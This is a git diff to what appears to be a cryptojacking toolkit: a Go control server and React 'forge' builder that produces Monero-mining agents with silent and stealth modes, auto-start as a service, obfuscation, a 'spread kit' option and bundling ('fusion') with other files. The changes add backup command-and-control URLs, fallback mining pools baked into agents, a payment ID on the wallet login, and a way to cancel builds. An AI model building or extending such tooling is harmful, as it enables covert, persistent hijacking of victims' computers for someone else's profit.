diff --git a/server/config.go b/server/config.go index c4b1b52..75434c6 100644 --- a/server/config.go +++ b/server/config.go @@ -85,10 +85,9 @@ type AgentDefaults struct { } type BackgroundConfig struct { - SilentMode bool `json:"silent_mode"` - RunAs string `json:"run_as"` - AutoStart bool `json:"auto_start"` - MinimizeToTray bool `json:"minimize_to_tray"` + SilentMode bool `json:"silent_mode"` + RunAs string `json:"run_as"` + AutoStart bool `json:"auto_start"` } type AlertsConfig struct { @@ -142,12 +141,11 @@ func DefaultConfig() *Config { FileLogging: true, StealthMode: false, }, - Background: BackgroundConfig{ - SilentMode: true, - RunAs: "service", - AutoStart: true, - MinimizeToTray: true, - }, + Background: BackgroundConfig{ + SilentMode: true, + RunAs: "service", + AutoStart: true, + }, Alerts: AlertsConfig{ OfflineThresholdMinutes: 5, HashrateDropThresholdPct: 50, @@ -285,7 +283,6 @@ func mergeConfig(dst, src *Config) { dst.Background.RunAs = src.Background.RunAs } dst.Background.AutoStart = src.Background.AutoStart - dst.Background.MinimizeToTray = src.Background.MinimizeToTray if src.Alerts.OfflineThresholdMinutes != 0 { dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes } @@ -471,7 +468,6 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) { dst.Background.RunAs = src.Background.RunAs } dst.Background.AutoStart = src.Background.AutoStart - dst.Background.MinimizeToTray = src.Background.MinimizeToTray } if has("alerts") { diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index 3f534a1..a83c905 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -247,6 +247,9 @@ func (h *WSHub) agentPoolConfig(agentID string) pool.Config { if poolCfg.Wallet == "" { poolCfg.Wallet = h.defaultPool.Wallet } + // Always carry the payment ID from the server-wide default (agents don't + // supply their own payment ID). + poolCfg.PaymentID = h.defaultPool.PaymentID return poolCfg } diff --git a/server/internal/pool/proxy.go b/server/internal/pool/proxy.go index f80a3fb..184f891 100644 --- a/server/internal/pool/proxy.go +++ b/server/internal/pool/proxy.go @@ -102,11 +102,15 @@ type pendingShareResult struct { } type Config struct { - Host string - Port int - UseTLS bool - Wallet string - Password string + Host string + Port int + UseTLS bool + Wallet string + Password string + // PaymentID is an optional Monero integrated-address payment ID. + // When non-empty it is appended to the wallet login as "wallet.paymentID" + // so the pool can credit payouts to the correct sub-account. + PaymentID string } func NewProxy(cfg *Config) *Proxy { @@ -267,9 +271,16 @@ func (p *Proxy) authenticate() error { p.loginRequestID = loginID p.mu.Unlock() + // Build the login wallet string. If a payment ID is configured, the pool + // receives "wallet.paymentID" which routes payouts to the correct account. + walletLogin := p.config.Wallet + if p.config.PaymentID != "" { + walletLogin = walletLogin + "." + p.config.PaymentID + } + // Login request loginParams := []interface{}{ - p.config.Wallet, + walletLogin, p.config.Password, "crypto-miner-server/1.0", } diff --git a/server/main.go b/server/main.go index 350e9de..b03eea6 100644 --- a/server/main.go +++ b/server/main.go @@ -121,11 +121,12 @@ func main() { }) defaultPoolCfg := pool.Config{ - Host: cfg.Pool.Host, - Port: cfg.Pool.Port, - UseTLS: cfg.Pool.UseTLS, - Wallet: cfg.Wallet.Address, - Password: cfg.Pool.Password, + Host: cfg.Pool.Host, + Port: cfg.Pool.Port, + UseTLS: cfg.Pool.UseTLS, + Wallet: cfg.Wallet.Address, + Password: cfg.Pool.Password, + PaymentID: cfg.Wallet.PaymentID, } // Initialize Stratum pool manager (connections keyed by forged pool + wallet) diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx index 3749469..afb4609 100644 --- a/server/web/src/pages/BuilderPage.tsx +++ b/server/web/src/pages/BuilderPage.tsx @@ -1,4 +1,4 @@ -import { useState, useEffect, useRef, useMemo } from 'react'; +import { useState, useEffect, useRef, useMemo, useCallback } from 'react'; import { Link } from 'react-router-dom'; import { api } from '../api/client'; import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo, FusionEstimate } from '../types'; @@ -84,6 +84,8 @@ export default function BuilderPage() { const [estimateLoading, setEstimateLoading] = useState(false); // Set to true to request cancellation between batch iterations const batchCancelRef = useRef(false); + // Tracks the cancel_token of the currently-running forge so we can kill it server-side + const cancelTokenRef = useRef(''); const [estimateError, setEstimateError] = useState(''); const [serverInfo, setServerInfo] = useState(null); const [listenPort, setListenPort] = useState(8989); @@ -233,9 +235,11 @@ export default function BuilderPage() { setError('Re-forge preflight failed — adjust settings and forge manually.'); return; } + const reforgeToken = crypto.randomUUID(); + cancelTokenRef.current = reforgeToken; setBuilding(true); try { - const result = await api.buildAgent(merged, fusionPrepFile); + const result = await api.buildAgent({ ...merged, cancel_token: reforgeToken }, fusionPrepFile); if (!result.success) throw new Error(result.error || 'Build failed'); await finishForgeSuccess(result); setBlueprintMsg(`✅ Re-forged ${build.worker_name}`); @@ -312,8 +316,23 @@ export default function BuilderPage() { }); }; + // Kill the current server-side compile via the cancel API, then stop the batch loop. + const handleKillBuild = useCallback(async () => { + const tok = cancelTokenRef.current; + if (tok) { + try { await api.cancelBuild(tok); } catch { /* ignore */ } + } + batchCancelRef.current = true; + setBuilding(false); + }, []); + const handleBatchCancel = () => { batchCancelRef.current = true; + // Also kill the currently-running server compile + const tok = cancelTokenRef.current; + if (tok) { + api.cancelBuild(tok).catch(() => {}); + } }; const handleBatchForge = async () => { @@ -366,7 +385,10 @@ export default function BuilderPage() { if (preflightHasErrors(checks)) { throw new Error(`Preflight failed for ${file.name}`); } - const result = await api.buildAgent(req, file); + const batchToken = crypto.randomUUID(); + cancelTokenRef.current = batchToken; + const result = await api.buildAgent({ ...req, cancel_token: batchToken }, file); + cancelTokenRef.current = ''; if (!result.success) throw new Error(result.error || `Build failed: ${file.name}`); setBatchJob((j) => j @@ -441,16 +463,21 @@ export default function BuilderPage() { return; } + const cancelToken = crypto.randomUUID(); + cancelTokenRef.current = cancelToken; setBuilding(true); try { - const result = await api.buildAgent(normalized, fusionPrepFile); + const result = await api.buildAgent({ ...normalized, cancel_token: cancelToken }, fusionPrepFile); if (!result.success) { throw new Error(result.error || 'Build failed'); } await finishForgeSuccess(result); } catch (err: any) { - setError(err.message || 'Build failed'); + if (err.message !== 'build cancelled') { + setError(err.message || 'Build failed'); + } } finally { + cancelTokenRef.current = ''; setBuilding(false); } }; @@ -812,6 +839,43 @@ export default function BuilderPage() { )} + + {/* ── Backup server URLs (advanced) ───────────────────────── */} + {!simpleMode && ( +
+ + {(form.backup_server_urls ?? []).map((url, i) => ( +
+ { + const urls = [...(form.backup_server_urls ?? [])]; + urls[i] = e.target.value; + updateField('backup_server_urls', urls); + }} + /> + +
+ ))} + +
+ )} +

Standard Monero pools use x — leave blank to use that default.

+ + {/* ── Backup pools (advanced) ──────────────────────────────── */} + {!simpleMode && ( +
+ + {(form.backup_pools ?? []).map((bp, i) => ( +
+ { + const pools = [...(form.backup_pools ?? [])]; + pools[i] = { ...pools[i], host: e.target.value }; + updateField('backup_pools', pools); + }} + /> + { + const pools = [...(form.backup_pools ?? [])]; + pools[i] = { ...pools[i], port: e.target.valueAsNumber || 3333 }; + updateField('backup_pools', pools); + }} + /> + + +
+ ))} + +
+ )}
@@ -1758,9 +1881,16 @@ export default function BuilderPage() {
)} - +
+ + {building && !batchJob && ( + + )} +
{!canForge && errorCount > 0 && (

Forge is blocked until all preflight errors (✕) are resolved. Warnings (!) still allow forging. diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts index 15de916..3f71b1f 100644 --- a/server/web/src/types/index.ts +++ b/server/web/src/types/index.ts @@ -169,7 +169,6 @@ export interface BackgroundConfig { silent_mode: boolean; run_as: string; auto_start: boolean; - minimize_to_tray: boolean; } export interface AlertsConfig { @@ -284,6 +283,21 @@ export interface BuildRequest { spread_kit?: boolean; obfuscate?: boolean; sign_build?: boolean; + // Cancel token — set by the client before forging. Pass the same value to + // DELETE /api/v1/builder/cancel/{token} to kill the compile mid-flight. + cancel_token?: string; + // Backup pools tried in order if the primary pool is unreachable. + backup_pools?: BackupPool[]; + // Backup C2 server URLs tried if the primary server_url is unreachable. + backup_server_urls?: string[]; +} + +/** Fallback Stratum pool baked into the agent at forge time. */ +export interface BackupPool { + host: string; + port: number; + tls: boolean; + pass?: string; } export interface FusionEstimate {